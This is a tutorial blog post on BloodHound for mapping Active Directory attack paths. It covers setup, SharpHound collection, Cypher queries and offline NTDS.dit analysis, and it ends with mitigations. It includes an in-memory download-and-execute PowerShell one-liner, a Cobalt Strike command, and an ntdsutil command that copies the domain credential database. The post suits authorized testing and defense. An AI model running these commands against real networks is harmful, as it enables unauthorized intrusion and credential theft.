Skip to main content
  1. Posts/

BloodHound: Analyzing Active Directory for Security Risks and Attack Paths

··1695 words·8 mins·
Table of Contents
Running SharpHound against a live Active Directory means pulling detailed structural data about someone’s network: users, sessions, ACLs, trusts. Do it only on environments you’re authorized to test, and get the scope in writing. Collection is loud, and the data you walk away with is sensitive. Treat it accordingly.

BloodHound turns Active Directory into a graph and then asks it the one question that matters on engagement: how do I get from where I am to Domain Admin? Instead of chaining LDAP queries by hand and keeping the relationships in your head, you let a graph database do the pathfinding.

This walks through what BloodHound is, the pieces it’s built from, how to collect data with SharpHound, and the queries worth running first. There’s also a section on offline analysis against an NTDS.dit file for when you can’t touch the live domain.

What is BloodHound?
#

BloodHound , written by @_wald0 , @CptJesus , and @harmj0y , is an open-source tool that applies graph theory to Active Directory. It maps the relationships between users, computers, and groups, then finds the attack paths those relationships create, the ones you’d use to reach sensitive resources or escalate privileges.

Under the hood it collects data with LDAP queries, SMB session enumeration, and PowerShell remoting, then loads that into a Neo4j graph database. The BloodHound interface sits on top of Neo4j and draws the graph.

Why BloodHound matters
#

Active Directory is the default for managing users, computers, and resources in most enterprises, and that reach is exactly what makes it hard to reason about. A domain admin’s real privilege isn’t the accounts they can see, it’s the accounts three hops away that a session, an ACL, or a nested group quietly connects them to. That’s the kind of path manual analysis misses.

BloodHound draws those paths so you don’t have to hold them in your head. For a red teamer it turns “somewhere in here there’s a route to DA” into a specific chain of nodes. For the blue team it’s the same graph read backward: the edges you didn’t know existed are the ones worth cutting.

Installing and setting up BloodHound
#

This walkthrough covers legacy BloodHound, the Electron app with a manually configured Neo4j backend. SpecterOps has since deprecated it in favor of BloodHound Community Edition , which ships as a Dockerized web app and pairs with a rewritten SharpHound CE. The graph model and the way you think about attack paths carry straight over; the install and the collector do not. Legacy and CE ingestors aren’t cross-compatible, so don’t mix them. If you’re standing this up fresh today, use CE.

Prerequisites
#

Before installing BloodHound, ensure that you have the following prerequisites installed on your system:

  • Windows 7/8/10 or Windows Server 2008 R2/2012/2016/2019 (for the BloodHound data collector)
  • .NET Framework 4.5 or higher (Download )
  • A recent version of Neo4j Community Edition (Download )

Installation
#

To install BloodHound, follow the steps below:

  1. Download the latest release of BloodHound from the GitHub repository (https://github.com/BloodHoundAD/BloodHound/releases ).
  2. Extract the archive to a directory of your choice.
  3. Install Neo4j Community Edition from the official website (https://neo4j.com/download/ ).
  4. After installing Neo4j, configure it to use the BloodHound database by pointing the “dbms.active_database” setting in the “neo4j.conf” file to the “BloodHoundExampleDB.graphdb” directory included in the BloodHound release.
  5. Start the Neo4j service and open the Neo4j browser by navigating to http://localhost:7474.
  6. Set a new password for the “neo4j” user when prompted.
  7. Launch the BloodHound executable (BloodHound.exe) and enter the Neo4j connection details (username: “neo4j”, password: your chosen password, and URL: “bolt://localhost:7687”).

BloodHound components
#

Three pieces do the work:

Data collector (SharpHound)
#

SharpHound is the collector, a C# binary that replaced the earlier PowerShell collection path (the Invoke-BloodHound wrapper you may remember loaded it via reflection). It enumerates the target domain and writes the results as JSON files, which you then feed into Neo4j.

BloodHound web interface
#

The interface is an Electron app that talks to Neo4j and draws the graph. You use it to browse the relationships between AD objects and run queries that surface attack paths.

Neo4j database
#

Neo4j is the graph database underneath everything. It stores what SharpHound collected and answers the queries the interface sends it. Everything else is a front end for this.

Collecting data with SharpHound
#

Invocation methods
#

How you run SharpHound depends on where you are and how loud you can afford to be:

  1. Run it directly on the target (from a USB drive or a file share, say).

    Or pull it in and run it in memory with a PowerShell one-liner:

    IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
  2. Use a Cobalt Strike beacon to load and execute SharpHound:

    execute-assembly /path/to/SharpHound.exe

Data collection techniques
#

SharpHound pulls data through LDAP queries, SMB session enumeration, and PowerShell remoting. You pick what it collects with --CollectionMethod. The supported methods:

  • Default (LDAP queries for user, group, and computer objects)
  • Group (enumerates group membership)
  • LocalAdmin (enumerates local admin membership on computers)
  • Session (enumerates SMB sessions)
  • ACL (collects access control entries for AD objects)
  • ObjectProps (collects various properties for AD objects)
  • Trusts (enumerates domain trusts)
  • Container (collects information about organizational units and containers)
  • All (performs all collection methods)

That list isn’t exhaustive. SharpHound3 also carries RDP, DCOM, PSRemote, LoggedOn, DcOnly, and a few others. Run SharpHound.exe --help for the full set on whatever build you’re carrying.

To collect data, execute SharpHound with the desired collection method:

SharpHound.exe --CollectionMethod All

That drops JSON output files in the current working directory, ready for the BloodHound interface.

BloodHound web interface
#

Navigating the interface#

Open BloodHound, log in with your Neo4j credentials, and you get a search bar up top, a graph canvas in the middle, and a node-info sidebar on the left. To load your SharpHound output, hit “Upload Data” in the top-right corner and select the JSON files.

Querying the data
#

BloodHound ships with a set of built-in queries under the “Queries” tab. Pick one and the canvas redraws with the result: nodes are AD objects, edges are the relationships between them. When the built-ins don’t ask the exact question you have, write your own in Cypher, Neo4j’s query language, from the “Query” tab.

Common BloodHound queries
#

Shortest path to Domain Admins
#

The one you’ll reach for first. It returns the shortest path from a user you control to the “Domain Admins” group:

MATCH (n:User {name: 'username@domain.com'}), (m:Group {name: 'DOMAIN ADMINS@domain.com'}), p=shortestPath((n)-[*]->(m)) RETURN p

Unconstrained delegation
#

Computers with unconstrained delegation are worth finding early. Any of them can be coerced into caching a privileged user’s TGT, which you can then replay to impersonate that user:

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

Kerberoasting
#

This query identifies users with a Service Principal Name (SPN) set and a weak password that can be cracked using the Kerberoasting attack:

MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (90 * 24 * 60 * 60)) RETURN u

Offline analysis with DSInternals and NTDS.dit
#

Sometimes you walk away with a copy of NTDS.dit but never get to run a collector against the live domain. You can still get BloodHound data out of it. The trick is to mount the database as a local LDAP server with dsamain.exe, then point SharpHound at that. The DSInternals PowerShell module , written by Michael Grafnetter , gives you the cmdlets for working with the database around the edges of this.

  1. Install DSInternals from the PowerShell Gallery:

    Install-Module -Name DSInternals
  2. Get an NTDS.dit off the target DC. ntdsutil (ntdsutil "ac i ntds" "ifm" "create full C:\out" q q) grabs a consistent snapshot; forensic tooling against a Volume Shadow Copy works too.

  3. Make sure the database is in a clean state before mounting. A file pulled from a running DC often has uncommitted transaction logs. If dsamain refuses to mount it, replay the logs with esentutl:

    esentutl /r edb /8

    Run that from the directory holding the log files. edb is the log base name AD uses, and /8 matches the 8 KB page size on a modern DC.

  4. Mount the NTDS.dit with dsamain.exe, exposing it on a spare LDAP port:

    dsamain /dbpath "C:\path\to\NTDS.dit" /ldapport 10389 /allowUpgrade /allowNonAdminAccess

    There’s no flag that decrypts the database from a SYSTEM hive here. dsamain reads whatever it’s handed and serves it over LDAP on port 10389; the database has to be consistent going in, which is what step 3 was for.

  5. Point SharpHound at the local server:

    SharpHound.exe --CollectionMethod All --DomainController localhost --LdapPort 10389
  6. Import the JSON into BloodHound the same way you would live data.

  7. Run your queries as normal.

One caveat worth setting up front: a dsamain-mounted database is a read-only LDAP snapshot. It has the objects, ACLs, and group memberships, but it doesn’t have live session data (nobody’s logged on to a mounted file), so paths that depend on Session edges won’t show up. Offline collection gives you the structure, not who’s sitting where.

Mitigation strategies
#

If you’re on the other side of this, the same graph tells you where to cut. The edges BloodHound draws are the ones to go after:

  • Review group memberships and ACLs and pull permissions nobody needs. Nested groups are where privilege quietly accumulates.
  • Disable unconstrained delegation where you can, and constrain it where you can’t. It’s one of the fastest paths on the graph.
  • Enforce strong service-account passwords and watch their age. A stale-password SPN is a Kerberoast waiting to happen.
  • Keep high-privilege accounts off ordinary workstations. Every box a DA logs into becomes a shortcut to DA.
  • Audit AD for the changes that show up as new edges: unexpected group additions, delegation flips, privilege escalations.

Closing thoughts
#

BloodHound’s real value is that it makes attack paths legible. The relationships that let a low-privilege account walk its way to Domain Admin were always there; BloodHound just draws the line so you stop having to trace it by hand.

It’s not a scanner and it won’t tell you what to do with a path once it finds one. That part is still on you. But as a map of where the privilege actually flows in a domain, on either side of the engagement, there’s nothing quite like it.

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.